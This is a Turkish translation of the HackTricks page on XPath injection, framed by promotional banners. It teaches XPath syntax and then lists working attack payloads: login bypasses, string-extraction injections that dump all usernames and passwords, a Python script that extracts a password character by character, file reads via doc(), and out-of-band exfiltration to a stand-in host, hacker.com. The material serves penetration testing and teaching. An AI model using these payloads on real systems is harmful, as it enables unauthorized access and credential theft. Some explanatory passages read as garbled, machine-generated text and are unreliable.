# XPATH enjeksiyonu
AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'i desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**. * **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** katkıda bulunun.
Deneyimli hackerlar ve ödül avcılarıyla iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın! **Hacking İçgörüleri**\ Hacking'in heyecanını ve zorluklarını ele alan içeriklerle etkileşime geçin **Gerçek Zamanlı Hack Haberleri**\ Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin **En Son Duyurular**\ Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgi sahibi olun **Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!** ## Temel Sözdizimi XPath (XML Yol Dili) sorgularını kullanıcı girişine dayalı olarak oluşturan uygulamalardan yararlanmak için XPath Enjeksiyonu adı verilen bir saldırı tekniği kullanılır. ### Tanımlanan Düğümler XML belgesinde çeşitli düğümleri seçmek için ifadeler kullanılır. Bu ifadeler ve açıklamaları aşağıda özetlenmiştir: - **nodename**: "nodename" adında tüm düğümler seçilir. - **/**: Seçim kök düğümden yapılır. - **//**: Geçerli düğümdeki seçime uyan düğümler seçilir, belgedeki konumlarına bakılmaksızın. - **.**: Geçerli düğüm seçilir. - **..**: Geçerli düğümün üst düğümü seçilir. - **@**: Öznitelikler seçilir. ### XPath Örnekleri Yol ifadeleri ve sonuçlarına örnekler şunları içerir: - **bookstore**: "bookstore" adında tüm düğümler seçilir. - **/bookstore**: Kök element olan bookstore seçilir. Bir elementin mutlak yolu, bir eğik çizgi (/) ile başlayan bir yol ile temsil edilir. - **bookstore/book**: bookstore'un çocukları olan tüm book elementleri seçilir. - **//book**: Belgedeki tüm book elementleri seçilir, konumlarına bakılmaksızın. - **bookstore//book**: bookstore elementinin altında bulunan tüm book elementleri seçilir, konumlarına bakılmaksızın. - **//@lang**: lang adında tüm öznitelikler seçilir. ### Predikatların Kullanımı Seçimleri geliştirmek için predikatlar kullanılır: - **/bookstore/book[1]**: bookstore elementinin ilk book elementi seçilir. IE 5'ten 9'a kadar olan sürümler için, ilk düğümü [0] olarak indeksleyen bir çözüm, JavaScript aracılığıyla SelectionLanguage'i XPath olarak ayarlamaktır. - **/bookstore/book[last()]**: bookstore elementinin son book elementi seçilir. - **/bookstore/book[last()-1]**: bookstore elementinin sondan bir önceki book elementi seçilir. - **/bookstore/book[position()<3]**: bookstore elementinin ilk iki book elementi seçilir. - **//title[@lang]**: lang özniteliği olan tüm title elementleri seçilir. - **//title[@lang='en']**: "lang" özniteliği değeri "en" olan tüm title elementleri seçilir. - **/bookstore/book[price>35.00]**: fiyatı 35.00'den büyük olan bookstore'un tüm book elementleri seçilir. - **/bookstore/book[price>35.00]/title**: fiyatı 35.00'den büyük olan bookstore'un tüm book elementlerinin title elementleri seçilir. ### Bilinmeyen Düğümlerin İşlenmesi Bilinmeyen düğümleri eşleştirmek için joker karakterleri kullanılır: - **\***: Herhangi bir element düğümüyle eşleşir. - **@***: Herhangi bir öznitelik düğümüyle eşleşir. - **node()**: Herhangi bir türdeki herhangi bir düğümle eşleşir. Daha fazla örnek şunları içerir: - **/bookstore/\***: bookstore elementinin tüm çocuk element düğümlerini seçer. - **//\***: Belgedeki tüm elementleri seçer. - **//title[@\*]**: Herhangi bir türde en az bir özniteliğe sahip tüm title elementlerini seçer. ## Örnek ```xml pepe peponcio admin mark m12345 regular fino fino2 regular ``` ### Bilgilere Erişim XPath enjeksiyonu, bir web uygulamasının veritabanına XPath sorguları göndererek hedefin hassas bilgilerine erişmeyi amaçlayan bir saldırı tekniğidir. Bu saldırı tekniği, web uygulamasının giriş alanlarına kötü niyetli XPath ifadeleri enjekte ederek gerçekleştirilir. XPath enjeksiyonu saldırısını gerçekleştirmek için aşağıdaki adımları izleyebilirsiniz: 1. Hedef web uygulamasını analiz edin ve XPath sorgularının nasıl oluşturulduğunu anlayın. 2. Giriş alanlarına kötü niyetli XPath ifadeleri enjekte edin. 3. Enjekte edilen XPath ifadeleriyle hedefin veritabanını sorgulayın. 4. Elde edilen sonuçları analiz ederek hassas bilgilere erişin. XPath enjeksiyonu saldırısıyla hedefin veritabanına erişebilir ve kullanıcı kimlik bilgileri, şifreler, finansal veriler gibi hassas bilgileri elde edebilirsiniz. Bu nedenle, web uygulamalarının XPath enjeksiyonu saldırılarına karşı korunması önemlidir. ``` All names - [pepe, mark, fino] name //name //name/node() //name/child::node() user/name user//name /user/name //user/name All values - [pepe, peponcio, admin, mark, ...] //user/node() //user/child::node() Positions //user[position()=1]/name #pepe //user[last()-1]/name #mark //user[position()=1]/child::node()[position()=2] #peponcio (password) Functions count(//user/node()) #3*3 = 9 (count all values) string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4 substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a" ``` ### Şema Tanımlama ve Çalma XPath enjeksiyonu, bir web uygulamasının veritabanı şemasını tanımlamak ve çalmak için kullanılabilir. Şema, veritabanının yapısını ve içerdiği tabloları, sütunları ve ilişkileri belirtir. Bu bilgiler, saldırganın hedef uygulamanın veritabanına erişim sağlamasına ve daha fazla saldırı yapmasına yardımcı olabilir. XPath enjeksiyonu kullanarak şema bilgilerini çalmak için aşağıdaki adımları izleyebilirsiniz: 1. İlk olarak, hedef uygulamada XPath enjeksiyonu açığı arayın. Bu genellikle kullanıcı tarafından sağlanan girişlerin doğrudan XPath sorgularına dahil edildiği yerlerde bulunabilir. 2. XPath enjeksiyonu açığı bulduktan sonra, hedef uygulamanın veritabanıyla iletişim kurmak için kullanılan XPath sorgusunu belirleyin. Bu sorgu genellikle web uygulamasının arka planında çalışan bir veritabanı sorgusu olacaktır. 3. XPath sorgusunu manipüle etmek için kullanabileceğiniz XPath ifadelerini öğrenin. Bu ifadeler, XPath sorgusunu değiştirerek şema bilgilerini çalmak için kullanılabilir. 4. Şema bilgilerini çalmak için XPath ifadelerini kullanarak XPath sorgusunu manipüle edin. Örneğin, `concat()` fonksiyonunu kullanarak sütun adlarını veya tablo adlarını çalabilirsiniz. 5. Manipüle edilmiş XPath sorgusunu hedef uygulamaya gönderin ve yanıtı analiz edin. Yanıtta şema bilgilerini içeren veriler bulunabilir. XPath enjeksiyonu kullanarak şema bilgilerini çalmak, saldırganın hedef uygulamadaki veritabanı yapısını anlamasına ve daha fazla saldırı yapmasına yardımcı olabilir. Bu nedenle, web uygulamalarının XPath enjeksiyonu açıklarına karşı korunması önemlidir. ```python and count(/*) = 1 #root and count(/*[1]/*) = 2 #count(root) = 2 (a,c) and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b) and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0 and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f) and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0 and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0 and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g) and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0 #The previous solutions are the representation of a schema like the following #(at this stage we don't know the name of the tags, but jus the schema) and name(/*[1]) = "root" #Confirm the name of the first tag is "root" and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `` is "a" and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag ``is codepoint 105 ("i") (https://codepoints.net/) #Stealing the schema via OOB doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) ``` ## Kimlik Doğrulama Atlama ### **Sorguların Örneği:** ``` string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text()) $q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]'; ``` ### **Kullanıcı adı ve şifrede OR atlatma (her ikisinde de aynı değer)** Bir XPath enjeksiyon saldırısı sırasında, hedeflenen web uygulamasının kullanıcı adı ve şifre alanlarında aynı değeri kullanarak OR operatörünü atlayabilirsiniz. Bu, kullanıcı adı ve şifre alanlarının aynı değeri kontrol etmek için kullanıldığı durumlarda etkili olabilir. Örneğin, aşağıdaki XPath ifadesini kullanarak bu saldırıyı gerçekleştirebilirsiniz: ```plaintext ' or '1'='1 ``` Bu ifade, kullanıcı adı ve şifre alanlarında herhangi bir değer girilmediğinde veya doğrulama işlemi sırasında herhangi bir hata oluştuğunda geçerli bir kullanıcı oturumu açmanıza olanak tanır. Bu, kullanıcı adı ve şifre alanlarının aynı değeri kontrol etmek için kullanıldığı durumlarda kullanışlı olabilir. Örneğin, aşağıdaki XPath ifadesiyle birlikte bir giriş yapmayı deneyebilirsiniz: ```plaintext //input[@name='username' and @value='admin' or '1'='1'] ``` Bu, kullanıcı adı alanında "admin" değerini kontrol ederken şifre alanında herhangi bir değer girilmediğinde veya hata oluştuğunda geçerli bir oturum açmanıza olanak tanır. Bu saldırıyı gerçekleştirirken, hedeflenen web uygulamasının güvenlik önlemlerini aşmak için dikkatli olmanız önemlidir. Ayrıca, bu saldırının yasal izinler çerçevesinde gerçekleştirildiğinden emin olun. ``` ' or '1'='1 " or "1"="1 ' or ''=' " or ""=" string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text()) Select account Select the account using the username and use one of the previous values in the password field ``` ### **Null enjeksiyonunu kötüye kullanma** Null enjeksiyonu, XPath ifadelerinde kullanılan bir tekniktir. XPath ifadeleri, XML belgelerindeki verilere erişmek için kullanılır. Null enjeksiyonu, XPath ifadelerindeki hatalı bir şekilde işlenen null değerlerini kullanarak hedef sistemdeki verilere erişmeyi amaçlar. Null enjeksiyonunu kullanarak, hedef sistemin XPath ifadelerini manipüle edebilir ve istenilen verilere erişebilirsiniz. Bu saldırı tekniği, hedef sistemin güvenlik açıklarını ortaya çıkarabilir ve hassas bilgilere erişim sağlayabilir. Null enjeksiyonunu gerçekleştirmek için, hedef sistemin XPath ifadelerini analiz etmek ve null değerlerin nasıl işlendiğini anlamak önemlidir. Null değerlerin hedef sistemin XPath ifadelerinde nasıl işlendiğini belirledikten sonra, manipülasyon yapabilir ve hedef sisteme erişim sağlayabilirsiniz. Null enjeksiyonu, hedef sistemin güvenlik açıklarını tespit etmek ve verilere erişmek için etkili bir tekniktir. Ancak, bu saldırı tekniğini kullanırken dikkatli olmalı ve yasal izinler çerçevesinde hareket etmelisiniz. ``` Username: ' or 1]%00 ``` ### **Kullanıcı adında veya şifrede Çift VEYA** (yalnızca 1 zayıf alanla geçerli) ÖNEMLİ: **"ve" işlemi ilk olarak gerçekleştirilir**. ``` Bypass with first match (This requests are also valid without spaces) ' or /* or ' ' or "a" or ' ' or 1 or ' ' or true() or ' string(//user[name/text()='' or true() or '' and password/text()='']/account/text()) Select account 'or string-length(name(.))<10 or' #Select account with length(name)<10 'or contains(name,'adm') or' #Select first account having "adm" in the name 'or contains(.,'adm') or' #Select first account having "adm" in the current value 'or position()=2 or' #Select 2º account string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text()) Select account (name known) admin' or ' admin' or '1'='2 string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text()) ``` ## Dize çıkarma Çıktı, dizeler içerir ve kullanıcı değerleri manipüle ederek arama yapabilir: ``` /user/username[contains(., '+VALUE+')] ``` ``` ') or 1=1 or (' #Get all names ') or 1=1] | //user/password[('')=(' #Get all names and passwords ') or 2=1] | //user/node()[('')=(' #Get all values ')] | //./node()[('')=(' #Get all values ')] | //node()[('')=(' #Get all values ') or 1=1] | //user/password[('')=(' #Get all names and passwords ')] | //password%00 #All names and passwords (abusing null injection) ')]/../*[3][text()!=(' #All the passwords ')] | //user/*[1] | a[(' #The ID of all users ')] | //user/*[2] | a[(' #The name of all users ')] | //user/*[3] | a[(' #The password of all users ')] | //user/*[4] | a[(' #The account of all users ``` ### **Değerin uzunluğunu alın ve karşılaştırmalarla çıkarın:** ```plaintext ' or string-length(/root/user[username='admin' and password='pass'])=10 or '1'='2 ``` Bu sorgu, `admin` kullanıcı adı ve `pass` şifresiyle eşleşen kullanıcının değerinin uzunluğunu kontrol eder. Eğer uzunluk 10 ise, sorgu doğru kabul edilir ve sonuç olarak `1` döndürülür. Aksi takdirde, sorgu yanlış kabul edilir ve sonuç olarak `2` döndürülür. ### **Extract a value character by character using substring:** ```bash ' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4 ' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a" substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE) ... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value ``` ### **Python Örneği** ```python import requests, string flag = "" l = 0 alphabet = string.ascii_letters + string.digits + "{}_()" for i in range(30): r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i)) if ("TRUE_COND" in r.text): l = i break print("[+] Password length: " + str(l)) for i in range(1, l + 1): #print("[i] Looking for char number " + str(i)) for al in alphabet: r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al) if ("TRUE_COND" in r.text): flag += al print("[+] Flag: " + flag) break ``` ### Dosya Okuma XPath enjeksiyonu, hedef web uygulamasında XPath ifadelerini manipüle ederek hedefin dosya sistemindeki dosyaları okumak için kullanılan bir saldırı tekniğidir. Bu saldırı tekniği, hedef uygulamanın güvenlik açıklarını sömürerek hassas verilere erişim sağlayabilir. XPath ifadeleri, XML belgelerinde belirli düğümleri seçmek için kullanılan bir dil olan XPath ile oluşturulur. Bu ifadeler, web uygulamalarında genellikle veritabanı sorgularını oluşturmak için kullanılır. XPath enjeksiyonu saldırısı, hedef uygulamanın XPath ifadelerini güvenli bir şekilde işletememesinden kaynaklanır. XPath enjeksiyonu saldırısı gerçekleştirmek için, saldırgan hedef uygulamaya zararlı XPath ifadeleri gönderir. Bu ifadeler, hedef uygulamanın XPath işleme motoru tarafından doğru bir şekilde yorumlanmadığında, hedefin dosya sistemindeki dosyaların içeriğini ifşa edebilir. XPath enjeksiyonu saldırısını gerçekleştirmek için aşağıdaki adımları izleyebilirsiniz: 1. Hedef uygulamada XPath ifadelerini manipüle etmek için uygun bir giriş noktası bulun. 2. Zararlı XPath ifadelerini oluşturun ve hedef uygulamaya gönderin. 3. Hedef uygulamanın yanıtını analiz ederek, hedefin dosya sistemindeki dosyaların içeriğini elde edin. XPath enjeksiyonu saldırısını gerçekleştirirken, hedef uygulamanın güvenlik açıklarını sömürmek için dikkatli olmanız önemlidir. Ayrıca, saldırıyı gerçekleştirirken hedef uygulamanın hizmet kalitesini etkilememeye dikkat etmelisiniz. ```python (substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127 ``` ## OOB Sömürüsü Out-of-Band (OOB) exploitation, also known as blind XPath injection, is a technique used to extract data from a vulnerable application by leveraging the application's ability to make external requests. This technique is commonly used when the application does not directly display the extracted data, but instead sends it to an external entity. Out-of-Band (OOB) sömürüsü, aynı zamanda kör XPath enjeksiyonu olarak da bilinen, hassas bir uygulamadan veri çıkarmak için uygulamanın harici istekler yapabilme yeteneğini kullanma tekniğidir. Bu teknik, uygulama çıkarılan veriyi doğrudan görüntülemediğinde, bunun yerine harici bir varlığa gönderdiğinde yaygın olarak kullanılır. ### OOB Exploitation Techniques OOB exploitation can be achieved using various techniques, including: - **DNS Exfiltration**: In this technique, the extracted data is encoded and sent as part of a DNS query to a controlled domain. The attacker can then monitor the DNS server logs to retrieve the exfiltrated data. - **HTTP Callbacks**: This technique involves encoding the extracted data and sending it as part of an HTTP request to a server controlled by the attacker. The attacker can then capture the incoming requests to retrieve the exfiltrated data. - **SMTP Requests**: In this technique, the extracted data is encoded and sent as part of an email to an email server controlled by the attacker. The attacker can then monitor the email server logs to retrieve the exfiltrated data. - **FTP Requests**: This technique involves encoding the extracted data and sending it as part of an FTP request to an FTP server controlled by the attacker. The attacker can then monitor the FTP server logs to retrieve the exfiltrated data. ### OOB Exploitation Tools There are several tools available for performing OOB exploitation, including: - **Burp Suite**: Burp Suite is a popular web application testing tool that includes features for OOB exploitation, such as the ability to send OOB requests and monitor the responses. - **SQLMap**: SQLMap is a powerful tool for automated SQL injection and can also be used for OOB exploitation by leveraging its OOB features. - **Custom Scripts**: Custom scripts can be developed using programming languages like Python or Ruby to perform OOB exploitation. These scripts can be tailored to the specific requirements of the target application. ### Mitigation Techniques To mitigate OOB exploitation, it is important to implement proper input validation and sanitization techniques. Additionally, the following measures can be taken: - **Whitelisting**: Implement a whitelist of allowed characters and validate user input against this whitelist. - **Parameterized Queries**: Use parameterized queries or prepared statements to prevent SQL injection attacks, which can be used as a stepping stone for OOB exploitation. - **Input Length Limitations**: Enforce limitations on the length of user input to prevent potential OOB attacks. - **Regular Expression Filtering**: Apply regular expression filtering to validate user input and block any malicious patterns. - **Security Testing**: Regularly perform security testing, including penetration testing, to identify and address any vulnerabilities that could be exploited for OOB attacks. ```python doc(concat("http://hacker.com/oob/", RESULTS)) doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username)) doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username))) #Instead of doc() you can use the function doc-available doc-available(concat("http://hacker.com/oob/", RESULTS)) #the doc available will respond true or false depending if the doc exists, #user not(doc-available(...)) to invert the result if you need to ``` ### Otomatik araç * [xcat](https://xcat.readthedocs.io/) * [xxxpwn](https://github.com/feakk/xxxpwn) * [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart) * [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer) * [XmlChor](https://github.com/Harshal35/XMLCHOR) ## Referanslar * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection) * [https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)) * [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın! **Hacking Insights**\ Hacking'in heyecanına ve zorluklarına dalmış içeriklerle etkileşime geçin **Gerçek Zamanlı Hack Haberleri**\ Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin **En Son Duyurular**\ Yeni ödül avları başlatma ve önemli platform güncellemeleri hakkında bilgi edinin **Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: * Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** * Hacking hilelerinizi göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.